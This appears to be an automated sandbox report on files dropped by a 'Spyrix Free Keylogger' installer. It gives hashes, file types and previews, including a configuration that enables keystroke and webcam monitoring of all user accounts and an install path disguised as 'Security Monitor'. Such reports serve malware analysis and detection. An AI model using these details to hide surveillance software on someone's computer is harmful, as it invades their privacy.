Preview:	L..................F.@.. ..R..........&..............Q..........................P.O. .:i.....+00.../C:\...................`.1.....BYh!. PROGRA~3..H......O.IBYh!....g.....................I...P.r.o.g.r.a.m.D.a.t.a.....j.1.....BYh!. SECURI~1..R......BYh!BYh!..........................I...S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.......1.....BYm!. {827D2~1..~......BYh!BYm!..........................o...{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.....Z.2...Q.7Y.. spkl.exe..B......BYh!BYh!..............................s.p.k.l...e.x.e.......~...............-.......}............+.f.....C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe..I.....\.....\.....\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.\.s.p.k.l...e.x.e.F.C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.O.C.:.\.P.r.o.g.r

C:\ProgramData\Spyrix Free Keylogger\temp\logger.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Generic INItialization configuration [System]
Category:	modified
Size (bytes):	1879
Entropy (8bit):	5.2641743922361774
Encrypted:	false
SSDEEP:	48:HG9ahTFns2iSiYymZDiSiYPZCZr4sP5vluoLa37ap1ZCZr4AyPp4L5fDiHwl:HG9EFjCZMsP5v9aKCZMAh7iHA
MD5:	2AE62CBD2DC0DA6E33C7E4F494DF9596
SHA1:	A7893E1F761F8FAF0D5EBE6F08E541DCA7EBE325
SHA-256:	0821CC77FC315509BF77E8FC81F886AC4E5FD706E905DF83952BCC36FC6A47DE
SHA-512:	A34109A12A00C05FACD8987C706AC4AF6BE03F8132B0AFE9BE97F5E50C71AA677FBD46735124823175F0E069EB99A4489EB298923196DD140C0A0A17421897E7
Malicious:	false
Reputation:	unknown
Preview:	[Interface]..lngfile=english.lng..skinfile=Default.skn..[System]..Run1=0..hide=0..prg_ver=11.6.22..tid=-1..lt=..Users=Administrator,user,DefaultAccount,Guest,WDAGUtilityAccount..AllUsers=Administrator,user,DefaultAccount,Guest,WDAGUtilityAccount..mstatus=1..KDelay=5..hide_p=0..hotkeyid=0..runcmd=runkey..LocalSave=0..[WEBDelivery]..preg=..comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001034..wsa=7B42C3A0C386750D76C29FC3862A..Enable=0..User=..Password=PIH:..Interval=5..[SnapShot]..AllWebCams=-=First Active WebCam=-..jsAllWebCams=["-=First Active WebCam=-"]..atDrive=1..atPrinterJob=1..atStart=0..atActivity=0..atTimer=0..atLevel=0..Level=50..Interval=10..WebCam=..[VideoRec]..AllWebCams=-=First Active WebCam=-..jsAllWebCams=["-=First Active WebCam=-"]..atStart=0..StartDuration=0.5..atActivity=0..ActivityDuration=0.5..atTimer=0..Interval=30..IntervalDuration=0.5..atLevel=0..Level=30..LevelDuration=0.5..WebCam=..[Window]..Top=50..Left=50..Width=1280..Height=620..BottomHeight=170..Lef

C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.dat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90361
Entropy (8bit):	7.9769989580983625
Encrypted:	false
SSDEEP:	1536:Zy6BW/LDE6LyfJVEr+jMi2hm9YFrRUv9Ie2eIDtTER:M6eL46LCJVpCsy6IAIRe
MD5:	3475836FCF6BBE603D1E83DD8A3C4765
SHA1:	DD92253B2600C1612FDC657FFB41E4FD66352C6B
SHA-256:	F8E582779693B4DAB740E13721093D9B8EB69DC0FF5CFACB5208C04321BA37F8
SHA-512:	8AE5E48692962A7F8049521F3B3510F1F1B9EF7CAF4A40526D7D6286BBEB647CFA54D88AF9A8E03AD884A42AECBA677E0A229577A394CD228CDF98E0F99506E4
Malicious:	false
Reputation:	unknown
Preview:	GIF89at..........u.J................i]OOH..........mQ...K2..C$..............B.p..X...dH....V<........M........%#"...........z.....[&....x8#.........`..............,$.....}}}.._...d0......Hw.hih...L..............xK..q..v.............e(......~......`.z`..........g.;".......t..........Y....r+.....q....xd...........R...........ad\.......WA......a...Y).R......3... .....]CHA6.......n............z ....a<..2.b...................L0....%+...nst]cc......lnk..M..x....QD.....&........Y..;........syu^^X......~..........fnr..e..xL..................U.hV....`..j................D....g..R....^.....<5.vqCCC..84/..2..5../..;.....&....L%.r+...........).....................................................W..V.......v............R......WYW....?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.net (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.ttl (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7609
Entropy (8bit):	7.838852889190603
Encrypted:	false
SSDEEP:	192:CRjl+OutIyaaHKip9QY5Lg6pWlicYMG5/b:OshLaIFUug6pGzo
MD5:	359D85C48DCA7C9C529A7EC0F4D30DC4
SHA1:	749EE1A5C90299C9360DD3131222CE92584FFCC2
SHA-256:	03BBB9C7C115C8FD5E2FB573B86687AE27672C7F8B970FB9661E5007FC6E42BE
SHA-512:	9494049C968B6BEE93090630086EB4D8129B48E5E6CBA3CF2E7EEF2114948316D0068F859594EA3A464AB2FE99510C1C94EEF786A933114C0CFC630C13435B1D
Malicious:	false
Reputation:	unknown
Preview:	GIF89aG.9....Gq.....$...Z...ud.........\|.........,&..........M5.................g.........................yv.....6.............v.72......g.L........C.................T.......m...kg.......eX...X}.k..{................s.......{..........................................n...................C......ZU..................................................`......D@.M........z........F..........\|..a....................i........................s.......UQ...............................4c...................?%....w.#Y.BBB.........000.........fff.....888TTTxxx.ZD..........................d.........................................................................r..*]....Q.....U..~............OM.......................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.uid

Download File

Process:	C:\Windows\SysWOW64\regedit.exe
File Type:	Windows Registry little-endian text (Win2K or above)
Category:	dropped
Size (bytes):	2088
Entropy (8bit):	3.74126532854054
Encrypted:	false
SSDEEP:	48:tKleUhKVfcfSOMokHSOMSd2ianNHMSOMadjHMSOMadvAcdqcTc20rIO:Sh0UKTyLiaNJCjJCvzdNoNIO
MD5:	DED51ADCA6441771BD576F7ABA69B5BA
SHA1:	34848537F97778AA982AEB74E6977858F5A0538B
SHA-256:	990FDD2ECD5E684289DAD26D1218EC98E9312ED135F46324B76437EE2E739572
SHA-512:	A0D0C39DCE76CE1D10606244EA7559D4BDF846A4EB48E61160A87B78B73BEA79E500DF2F461DD560138367E780701D49012862D6AEBE899F52224D581A9E2A32
Malicious:	true
Reputation:	unknown
Preview:	..W.i.n.d.o.w.s. .R.e.g.i.s.t.r.y. .E.d.i.t.o.r. .V.e.r.s.i.o.n. .5...0.0.........[.H.K.E.Y._.L.O.C.A.L._.M.A.C.H.I.N.E.\.S.o.f.t.w.a.r.e.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.C.u.r.r.e.n.t.V.e.r.s.i.o.n.\.U.n.i.n.s.t.a.l.l.\.S.p.y.r.i.x. .F.r.e.e. .K.e.y.l.o.g.g.e.r._.i.s.1.].....".I.n.n.o. .S.e.t.u.p.:. .S.e.t.u.p. .V.e.r.s.i.o.n.".=.".5...5...9. .(.u.).".....".I.n.n.o. .S.e.t.u.p.:. .A.p.p. .P.a.t.h.".=.".C.:.\.\.P.r.o.g.r.a.m.D.a.t.a.\.\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.".....".I.n.s.t.a.l.l.L.o.c.a.t.i.o.n.".=.".C.:.\.\.P.r.o.g.r.a.m.D.a.t.a.\.\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.\.\.".....".I.n.n.o. .S.e.t.u.p.:. .I.c.o.n. .G.r.o.u.p.".=.".S.p.y.r.i.x. .F.r.e.e. .K.e.y.l.o.g.g.e.r.".....".I.n.n.o. .S.e.t.u.p.:. .U.s.e.r.".=.".a.l.f.o.n.s.".....".I.n.n.o. .S.e.t.u.p.:. .L.a.n.g.u.a.g.e.".=.".e.n.g.l.i.s.h.".....".D.i.s.p.l.a.y.

C:\ProgramData\Spyrix Free Keylogger\temp\reg\is-ONQ42.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7609
Entropy (8bit):	7.838852889190603
Encrypted:	false
SSDEEP:	192:CRjl+OutIyaaHKip9QY5Lg6pWlicYMG5/b:OshLaIFUug6pGzo
MD5:	359D85C48DCA7C9C529A7EC0F4D30DC4
SHA1:	749EE1A5C90299C9360DD3131222CE92584FFCC2
SHA-256:	03BBB9C7C115C8FD5E2FB573B86687AE27672C7F8B970FB9661E5007FC6E42BE
SHA-512:	9494049C968B6BEE93090630086EB4D8129B48E5E6CBA3CF2E7EEF2114948316D0068F859594EA3A464AB2FE99510C1C94EEF786A933114C0CFC630C13435B1D
Malicious:	false
Reputation:	unknown
Preview:	GIF89aG.9....Gq.....$...Z...ud.........\|.........,&..........M5.................g.........................yv.....6.............v.72......g.L........C.................T.......m...kg.......eX...X}.k..{................s.......{..........................................n...................C......ZU..................................................`......D@.M........z........F..........\|..a....................i........................s.......UQ...............................4c...................?%....w.#Y.BBB.........000.........fff.....888TTTxxx.ZD..........................d.........................................................................r..*]....Q.....U..~............OM.......................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\reg\is-VFID4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Spyrix Free Keylogger\temp\reg\is-VNNEC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90361
Entropy (8bit):	7.9769989580983625
Encrypted:	false
SSDEEP:	1536:Zy6BW/LDE6LyfJVEr+jMi2hm9YFrRUv9Ie2eIDtTER:M6eL46LCJVpCsy6IAIRe
MD5:	3475836FCF6BBE603D1E83DD8A3C4765
SHA1:	DD92253B2600C1612FDC657FFB41E4FD66352C6B
SHA-256:	F8E582779693B4DAB740E13721093D9B8EB69DC0FF5CFACB5208C04321BA37F8
SHA-512:	8AE5E48692962A7F8049521F3B3510F1F1B9EF7CAF4A40526D7D6286BBEB647CFA54D88AF9A8E03AD884A42AECBA677E0A229577A394CD228CDF98E0F99506E4
Malicious:	false
Reputation:	unknown
Preview:	GIF89at..........u.J................i]OOH..........mQ...K2..C$..............B.p..X...dH....V<........M........%#"...........z.....[&....x8#.........`..............,$.....}}}.._...d0......Hw.hih...L..............xK..q..v.............e(......~......`.z`..........g.;".......t..........Y....r+.....q....xd...........R...........ad\.......WA......a...Y).R......3... .....]CHA6.......n............z ....a<..2.b...................L0....%+...nst]cc......lnk..M..x....QD.....&........Y..;........syu^^X......~..........fnr..e..xL..................U.hV....`..j................D....g..R....^.....<5.vqCCC..84/..2..5../..;.....&....L%.r+...........).....................................................W..V.......v............R......WYW....?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\reg\ru\info.dat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90699
Entropy (8bit):	7.976611505014986
Encrypted:	false
SSDEEP:	1536:TO6fc7nz/3pXEtubO/n9l7STXTQXsxalgH8UsX4UzAY3p18N14e86zebLqDf:BEzzRXEtubO/yTXTlxbrUDcu/8v4e8AH
MD5:	EF79CF8AABBC41E42025D3ACF51B36C9
SHA1:	71940D0E9D230D295D8A89397DF4ED0BA5BD72DA
SHA-256:	24D4AC7D4101A76F35F636660A92AD95E1C068065D17BB4F8CC27CD3C91402F8
SHA-512:	E579BEED091D3A4068AE664640BA0EDCFB309F0C7142CD452B45F79A69B6423A8237D9256C9A0E3FFE4F22EBC1C01D26B2BE79FD7B3E3E9643A1142A997E5902
Malicious:	false
Reputation:	unknown
Preview:	GIF89at.......s...............f[.......u..mQ...ONH.L1..C;................C+.qX....X.dH......W>...........M..........'&#.z....[&..x7".......................Y........+#{}}.......^...a.......hih...X..............zL....n..v..........e(........`.za..........j.7 .......m..........y.......u,......q....we.........T.............dd[.......WCi......e..Y*.R...4...!.....\BEC?..........n...............a>..b.Cy.............=CH.}.....M0....%+nst]dc......mpl.O...N..x....E?.....).....[..;.......sxq[^X......}.........c...fmr..~M..................L.k_...._..j.{.................D....f....a.....?(..{.\|{974..5...../..;.....&....L%.r+...........).......................................................................W....v...............R...YYW.......?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\reg\ru\info.net (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Spyrix Free Keylogger\temp\reg\ru\info.ttl (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7829
Entropy (8bit):	7.826687568770807
Encrypted:	false
SSDEEP:	192:ZwZ+70N539DtmJu0clifT2eTb6uRM3Q6q:Z0+QNftOcloTBTtRMHq
MD5:	241545A94AF6185978CFD96B32101E95
SHA1:	75FC98239798D933FD87978D7545964CE0E611D8
SHA-256:	01FD9E13EEF1D14C6C2B4E5EA16E40789FE5423715500C29A7DC58FDF2C1364F
SHA-512:	1A127A5EB9573418B3301A0E498B5335AEE0E99F87C8B4C12B6907476D49D1781264700A692FBE24971D405695AAE9BD5C4F40E95D10A1F26CBB0818A32899E1
Malicious:	false
Reputation:	unknown
Preview:	GIF89aG.9...............g.............r...w................m.............$.....Z...ud.........\|..............-(.......M5o...................h.............6{...........yu6.............w.83.........L.....>..d.........U....m...mj.......eYY~.k..{.............................w........c....................!r............p........W.........E.....ZU.......j.................................b.....Qw..D@.N......L.z......F.A...........\|..N......f.............x.........].......UQ.........................................`.....?%.w.#Y....BBB...fff............000...TTT888.....xxx.ZD.....................b.....>j....Iq...................................................@l.......~........Q..U..............4c.........._......OM.................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\reg\ru\is-3MVAE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Spyrix Free Keylogger\temp\reg\ru\is-93JLK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7829
Entropy (8bit):	7.826687568770807
Encrypted:	false
SSDEEP:	192:ZwZ+70N539DtmJu0clifT2eTb6uRM3Q6q:Z0+QNftOcloTBTtRMHq
MD5:	241545A94AF6185978CFD96B32101E95
SHA1:	75FC98239798D933FD87978D7545964CE0E611D8
SHA-256:	01FD9E13EEF1D14C6C2B4E5EA16E40789FE5423715500C29A7DC58FDF2C1364F
SHA-512:	1A127A5EB9573418B3301A0E498B5335AEE0E99F87C8B4C12B6907476D49D1781264700A692FBE24971D405695AAE9BD5C4F40E95D10A1F26CBB0818A32899E1
Malicious:	false
Reputation:	unknown
Preview:	GIF89aG.9...............g.............r...w................m.............$.....Z...ud.........\|..............-(.......M5o...................h.............6{...........yu6.............w.83.........L.....>..d.........U....m...mj.......eYY~.k..{.............................w........c....................!r............p........W.........E.....ZU.......j.................................b.....Qw..D@.N......L.z......F.A...........\|..N......f.............x.........].......UQ.........................................`.....?%.w.#Y....BBB...fff............000...TTT888.....xxx.ZD.....................b.....>j....Iq...................................................@l.......~........Q..U..............4c.........._......OM.................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\reg\ru\is-CBJT8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90699
Entropy (8bit):	7.976611505014986
Encrypted:	false
SSDEEP:	1536:TO6fc7nz/3pXEtubO/n9l7STXTQXsxalgH8UsX4UzAY3p18N14e86zebLqDf:BEzzRXEtubO/yTXTlxbrUDcu/8v4e8AH
MD5:	EF79CF8AABBC41E42025D3ACF51B36C9
SHA1:	71940D0E9D230D295D8A89397DF4ED0BA5BD72DA
SHA-256:	24D4AC7D4101A76F35F636660A92AD95E1C068065D17BB4F8CC27CD3C91402F8
SHA-512:	E579BEED091D3A4068AE664640BA0EDCFB309F0C7142CD452B45F79A69B6423A8237D9256C9A0E3FFE4F22EBC1C01D26B2BE79FD7B3E3E9643A1142A997E5902
Malicious:	false
Reputation:	unknown
Preview:	GIF89at.......s...............f[.......u..mQ...ONH.L1..C;................C+.qX....X.dH......W>...........M..........'&#.z....[&..x7".......................Y........+#{}}.......^...a.......hih...X..............zL....n..v..........e(........`.za..........j.7 .......m..........y.......u,......q....we.........T.............dd[.......WCi......e..Y*.R...4...!.....\BEC?..........n...............a>..b.Cy.............=CH.}.....M0....%+nst]dc......mpl.O...N..x....E?.....).....[..;.......sxq[^X......}.........c...fmr..~M..................L.k_...._..j.{.................D....f....a.....?(..{.\|{974..5...../..;.....&....L%.r+...........).......................................................................W....v...............R...YYW.......?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Spyrix Free Keylogger\temp\runprg.ini

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	851
Entropy (8bit):	5.426984556565649
Encrypted:	false
SSDEEP:	12:32KM9PyjM1usvOq/bubJncTJK/2X7oQRrQltyC3kuUMnMNW699as71yE2b7hUPoG:37jMpOSubOTkwRTCUuUGMVvMEaN6Uk
MD5:	D87EE05DFED081117AEDC2353AA86704
SHA1:	2A4B5CA3CB8204560612F79724EFC6DBCAB31680
SHA-256:	8EA59F8B9BA2118A99946FDB8292120AD51DD14D9B7DF09A6419ACDF5A2E9DBD
SHA-512:	8352687D05D62830BBF2BC066C68994FAA0EA86A77003D9BECF730E6A8001186DD7BB8721714A96CAB58D1E32B1DA89922CA596632C87368CA885BB291D5B3BB
Malicious:	false
Reputation:	unknown
Preview:	[explorer.exe]..Description=Windows Explorer..Path=C:\Windows\Explorer.EXE..[ApplicationFrameHost.exe]..Description=Application Frame Host..Path=C:\Windows\system32\ApplicationFrameHost.exe..[WinStore.App.exe]..Description=Store..Path=C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe..[SystemSettings.exe]..Description=Settings..Path=C:\Windows\ImmersiveControlPanel\SystemSettings.exe..[TextInputHost.exe]..Description=..Path=C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe..[oRLUmTqaOKaZIdRgYHTPEFGWAbKcu.exe]..Description=..Path=C:\Program Files (x86)\SJSeFUewtirdQlSbOxsYEJbULAdjeworuThFMoxBxSuEjOKswlJTAgwdzUjOxEdxlEFyYVP\oRLUmTqaOKaZIdRgYHTPEFGWAbKcu.exe..[chrome.exe]..Description=Google Chrome..Path=C:\Program Files\Google\Chrome\Application\chrome.exe..

C:\ProgramData\Spyrix Free Keylogger\temp\start\Spyrix Free Keylogger.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Icon number=0, Archive, ctime=Wed Oct 2 03:11:15 2024, mtime=Wed Oct 2 03:11:15 2024, atime=Mon Sep 23 18:21:00 2024, length=5346216, window=hide
Category:	dropped
Size (bytes):	2100
Entropy (8bit):	3.6646573247096943
Encrypted:	false
SSDEEP:	48:8zsMQRgVTaaCQj+mj9k+mE9k+m9kWNH+m9X4p:8RX5j+wk+Hk+yt+04
MD5:	E4913ED521815E8B05004C37409BA91E
SHA1:	ADBEDC761227B574F95B676D8190A81E89CAFBD2
SHA-256:	7E7DE54DE99BDC82FFD6C8619082B7859A20FCE84A03CB72951FC58726DC1D37
SHA-512:	78691C403FC9E5BC94D8F2E2678776AFA30BF8C0D79A690873549E2311731369F9DD641398B3C3B3C717EB1FDFD5CD454FB040401216E41EF5A3CFFB59C16ADF
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ..R.......oi. ..............Q..........................P.O. .:i.....+00.../C:\...................`.1.....BYh!. PROGRA~3..H......O.IBYh!....g.....................I...P.r.o.g.r.a.m.D.a.t.a.....j.1.....BYh!. SECURI~1..R......BYh!BYh!..........................I...S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.......1.....BYm!. {827D2~1..~......BYh!BYm!..........................o...{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.....Z.2...Q.7Y.. spkl.exe..B......BYh!BYh!..............................s.p.k.l...e.x.e.......~...............-.......}............+.f.....C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe..I.....\.....\.....\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.\.s.p.k.l...e.x.e.F.C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}.O.C.:.\.P.r.o.g.r

C:\ProgramData\Spyrix Free Keylogger\temp\start\Uninstall Spyrix Free Keylogger.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Wed Oct 2 03:11:14 2024, mtime=Wed Oct 2 03:11:14 2024, atime=Wed Oct 2 03:10:31 2024, length=1308909, window=hide
Category:	dropped
Size (bytes):	1176
Entropy (8bit):	4.626104771061196
Encrypted:	false
SSDEEP:	24:8mf4FuWcjMKLRg884sSyAqlC0Y3Sk+18k79k+18wVm:8mf4FuHMQRgV4sSReC3R+mk79k+mc
MD5:	575362094C228982E7D9E02D05A3964D
SHA1:	8ECBE349F37A59FDA051250554EB72C59B2EAC9D
SHA-256:	EF403E3538811D7D990A46CAB82A2AA564323D6BD9653C0B3371A9CC187C60C3
SHA-512:	4478E464ACB05AF7E4DDE6BB9898320ED854045F8F3590F9E03FFD76EB397C58631D472641973BB65F34A9E24C9F874701447F8F1B4756776E290CD61715E8AC
Malicious:	false
Reputation:	unknown
